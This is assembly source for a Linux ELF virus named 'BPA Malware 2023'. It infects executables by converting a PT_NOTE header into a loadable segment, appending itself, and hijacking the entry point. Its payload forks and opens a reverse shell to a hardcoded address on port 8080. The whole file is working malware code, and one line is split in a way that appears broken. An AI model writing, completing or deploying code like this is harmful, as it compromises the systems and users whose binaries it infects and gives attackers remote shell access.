;BPAinfectorRS.asm
;fasm BPAinfectorRS.asm
;Stack buffer:
;r15 + 0 = stack buffer (10000 bytes) = stat
;r15 + 48 = stat.st_size
;r15 + 144 = ehdr
;r15 + 148 = ehdr.class
;r15 + 152 = ehdr.pad
;r15 + 168 = ehdr.entry
;r15 + 176 = ehdr.phoff
;r15 + 198 = ehdr.phentsize
;r15 + 200 = ehdr.phnum
;r15 + 208 = phdr = phdr.type
;r15 + 212 = phdr.flags
;r15 + 216 = phdr.offset
;r15 + 224 = phdr.vaddr
;r15 + 232 = phdr.paddr
;r15 + 240 = phdr.filesz
;r15 + 248 = phdr.memsz
;r15 + 256 = phdr.align
;r15 + 300 = jmp rel
;r15 + 3000 = first run control flag
;r15 + 3001 = payload
format ELF64 executable 3
SYS_EXIT = 60
SYS_OPEN = 2
SYS_CLOSE = 3
SYS_WRITE = 1
SYS_READ = 0
SYS_EXECVE = 59
SYS_GETDENTS64 = 217
SYS_FSTAT = 5
SYS_LSEEK = 8
SYS_PREAD64 = 17
SYS_PWRITE64 = 18
SYS_SYNC = 162
STDOUT = 1
EHDR_SIZE = 64
ELFCLASS64 = 2
O_RDONLY = 0
O_RDWR = 2
SEEK_END = 2
MFD_CLOEXEC = 1
DT_REG = 8
PT_LOAD = 1
PT_NOTE = 4
PF_X = 1
PF_R = 4
FIRST_RUN = 1
V_SIZE = 1054
segment readable executable
entry v_start
v_start:
mov r14, [rsp + 8]
mov r10, [rsp + 16]
push rdx
push rsp
sub rsp, 5000
mov r15, rsp
check_first_run:
mov rdi, r14
mov rsi, O_RDONLY
xor rdx, rdx
mov rax, SYS_OPEN
syscall
mov rdi, rax
mov rsi, r15
mov rax, SYS_FSTAT
syscall
cmp qword [r15 + 48], V_SIZE
jg .open_target_file
mov byte [r15 + 3000], FIRST_RUN
.open_target_file:
mov rdi, r10
mov rsi, O_RDWR
xor rdx, rdx
mov rax, SYS_OPEN
syscall
cmp rax, 0
jbe .continue
mov r9, rax
.read_ehdr:
mov rdi, r9
lea rsi, [r15 + 144]
mov rdx, EHDR_SIZE
mov r10, 0
mov rax, SYS_PREAD64
syscall
.is_elf:
cmp dword [r15 + 144], 0x464c457f
jnz .close_file
.is_64:
cmp byte [r15 + 148], ELFCLASS64
jne .close_file
.is_infected:
cmp dword [r15 + 152], 0x00415042
jz .close_file
mov r8, [r15 + 176]
xor rbx, rbx
xor r14, r14
.loop_phdr:
mov rdi, r9
lea rsi, [r15 + 208]
mov dx, word [r15 + 198]
mov r10, r8
mov rax, SYS_PREAD64
syscall
cmp byte [r15 + 208], PT_NOTE
jz .infect
inc rbx
cmp bx, word [r15 + 200]
jge .close_file
add r8w, word [r15 + 198]
jnz .loop_phdr
.infect:
.get_target_phdr_file_offset:
mov ax, bx
mov dx, word [r15 + 198]
imul dx
mov r14w, ax
add r14, [r15 + 176]
.file_info:
mov rdi, r9
mov rsi, r15
mov rax, SYS_FSTAT
syscall
.append_virus:
mov rdi, r9
mov rsi, 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall
push rax
call .delta
.delta:
pop rbp
sub rbp, .delt
a
mov rdi, r9
lea rsi, [rbp + v_start]
mov rdx, v_stop - v_start
mov r10, rax
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.patch_phdr:
mov dword [r15 + 208], PT_LOAD
mov dword [r15 + 212], PF_R or PF_X
pop rax
mov [r15 + 216], rax
mov r13, [r15 + 48]
add r13, 0xc000000
mov [r15 + 224], r13
mov qword [r15 + 256], 0x200000
add qword [r15 + 240], v_stop - v_start + 5
add qword [r15 + 248], v_stop - v_start + 5
mov rdi, r9
mov rsi, r15
lea rsi, [r15 + 208]
mov dx, word [r15 + 198]
mov r10, r14
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.patch_ehdr:
mov r14, [r15 + 168]
mov [r15 + 168], r13
mov r13, 0x00415042
mov [r15 + 152], r13
mov rdi, r9
lea rsi, [r15 + 144]
mov rdx, EHDR_SIZE
mov r10, 0
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.write_patched_jmp:
mov rdi, r9
mov rsi, 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall
mov rdx, [r15 + 224]
add rdx, 5
sub r14, rdx
sub r14, v_stop - v_start
mov byte [r15 + 300 ], 0xe9
mov dword [r15 + 301], r14d
mov rdi, r9
lea rsi, [r15 + 300]
mov rdx, 5
mov r10, rax
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
mov rax, SYS_SYNC
syscall
.close_file:
mov rax, SYS_CLOSE
syscall
.continue:
cmp byte [r15 + 3000], FIRST_RUN
jnz infected_run
call show_msg
info_msg:
db 'BPA Malware 2023', 0xa
info_len = $-info_msg
show_msg:
pop rsi
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rdx, info_len
syscall
jmp cleanup
infected_run:
call payload
msg:
db 0x42, 0x50, 0x41, 0x20, 0x69, 0x6E, 0x66, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x79, 0x6F, 0x75, 0x21, 0x0a
len = $-msg
payload:
pop rsi
mov rax, SYS_WRITE
mov rdi, STDOUT
mov rdx, len
syscall
fork:
mov rax, 57
syscall
cmp rax, 0
jz socket
jmp cleanup
socket:
push 0x29
pop rax
push 0x02
pop rdi
push 0x01
pop rsi
xor edx, edx
syscall
mov r8, rax
connect:
push 0x2a
pop rax
mov rdi, r8
push rdx
push rdx
push 0x0101017f
push word 0x901f
push word 0x02
mov rsi, rsp
add rdx, 0x10
syscall
file_descriptors:
push 0x02
pop rsi
mov rdi, r8
loopdup:
push 0x21
pop rax
syscall
dec rsi
jns loopdup
execute:
xor rdx, rdx
push rdx
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
push 0x3b
pop rax
syscall
cleanup:
add rsp, 5000
pop rsp
pop rdx
v_stop:
xor rdi, rdi
mov rax, SYS_EXIT
syscall